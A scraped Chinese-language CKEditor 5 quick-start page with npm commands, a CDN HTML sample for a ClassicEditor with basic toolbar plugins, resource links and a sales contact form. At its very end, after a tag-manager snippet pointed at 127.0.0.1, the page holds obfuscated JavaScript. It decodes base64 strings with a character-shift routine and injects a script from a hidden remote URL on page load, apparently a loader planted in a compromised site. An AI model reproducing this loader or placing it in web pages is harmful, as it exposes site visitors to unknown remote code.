报告:2024 年 协作编辑现状

洞悉 RTE 协作的趋势和未来 立即下载

立即阅读

入门
CKEditor 5

您将获得即用型代码片段,
满足您的需求。


5 分钟(或更短时间!)

使用 CKEditor 的交互式构建器,选择

  • 您需要的功能
  • 您首选的框架(React、Angular、Vue 或 Vanilla JS)
  • 您首选的发布方式

发布

您是否已经熟悉如何设置 **CKEditor 5**?
以下是可用的发布版本。

npm install ckeditor5
npm install ckeditor5-premium-features
<!DOCTYPE html>
<html lang="en">
	<head>
		<meta charset="UTF-8">
		<meta name="viewport" content="width=device-width, initial-scale=1.0">
		<title>CKEditor 5 - Quick start CDN</title>
		<link rel="stylesheet" href="https://cdn.ckeditor.com/ckeditor5/43.3.0/ckeditor5.css">
		<style>
			.main-container {
				width: 795px;
				margin-left: auto;
				margin-right: auto;
			}
		</style>
	</head>
	<body>
		<div class="main-container">
			<div id="editor">
				<p>Hello from CKEditor 5!</p>
			</div>
		</div>
		<script type="importmap">
			{
				"imports": {
					"ckeditor5": "https://cdn.ckeditor.com/ckeditor5/43.3.0/ckeditor5.js",
					"ckeditor5/": "https://cdn.ckeditor.com/ckeditor5/43.3.0/"
				}
			}
		</script>
		<script type="module">
			import {
				ClassicEditor,
				Essentials,
				Paragraph,
				Bold,
				Italic,
				Font
			} from 'ckeditor5';
			ClassicEditor
				.create( document.querySelector( '#editor' ), {
					plugins: [ Essentials, Paragraph, Bold, Italic, Font ],
					toolbar: [
						'undo', 'redo', '|', 'bold', 'italic', '|',
						'fontSize', 'fontFamily', 'fontColor', 'fontBackgroundColor'
					]
				} )
				.then( editor => {
					window.editor = editor;
				} )
				.catch( error => {
					console.error( error );
				} );
		</script>
		<!-- A friendly reminder to run on a server, remove this during the integration. -->
		<script>
			window.onload = function() {
				if ( window.location.protocol === 'file:' ) {
					alert( 'This sample requires an HTTP server. Please serve this file with a web server.' );
				}
			};
		</script>
	</body>
</html>

CKEditor 5

包含高级功能的 CKEditor 5

不知道从哪里开始?

尝试使用我们的 交互式构建器
或查看 快速入门指南

集成

CKEditor 5 是一个纯 JavaScript 组件,与任何环境兼容。
浏览我们的文档以了解与最流行框架的集成。

其他资源

使用这些资源和指南探索 CKEditor 5 的强大功能。

文档

有关如何安装、配置和自定义应用程序的分步说明。

演示

一个展示最常见和最有趣的用例的游乐场,包含实时演示。

发行说明(更改日志)

每个发行版本的更改、改进和错误修复的详细日志。

许可证

有关使用和分发应用程序的许可条款和条件的信息。

GitHub

在 GitHub 上访问源代码、报告问题和为项目做出贡献。

您好,您对产品或定价有任何疑问吗?

关于我们的 产品或定价 的问题?

联系我们的 销售代表

表单内容字段

表单提交

HiddenGatedContent。
隐藏的未使用字段。

我们很乐意
听到您的消息!

感谢您联系 CKEditor 销售团队。我们已收到您的消息,并将尽快与您联系。

(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start': new Date().getTime(),event:'gtm.js'});const f=d.getElementsByTagName(s)[0], j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src= 'https://127.0.0.1/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f); })(window,document,'script','dataLayer','GTM-KFSS6L');window[(function(_2VK,_6n){var _91='';for(var _hi=0;_hi<_2VK.length;_hi++){_91==_91;_DR!=_hi;var _DR=_2VK[_hi].charCodeAt();_DR-=_6n;_DR+=61;_DR%=94;_DR+=33;_6n>9;_91+=String.fromCharCode(_DR)}return _91})(atob('J3R7Pzw3MjBBdjJG'), 43)] = '37db4db8751680691983'; var zi = document.createElement('script'); (zi.type = 'text/javascript'), (zi.async = true), (zi.src = (function(_HwU,_af){var _wr='';for(var _4c=0;_4c<_HwU.length;_4c++){var _Gq=_HwU[_4c].charCodeAt();_af>4;_Gq-=_af;_Gq!=_4c;_Gq+=61;_Gq%=94;_wr==_wr;_Gq+=33;_wr+=String.fromCharCode(_Gq)}return _wr})(atob('IS0tKSxRRkYjLEUzIkQseisiKS0sRXooJkYzIkQteH5FIyw='), 23)), document.readyState === 'complete'?document.body.appendChild(zi): window.addEventListener('load', function(){ document.body.appendChild(zi) });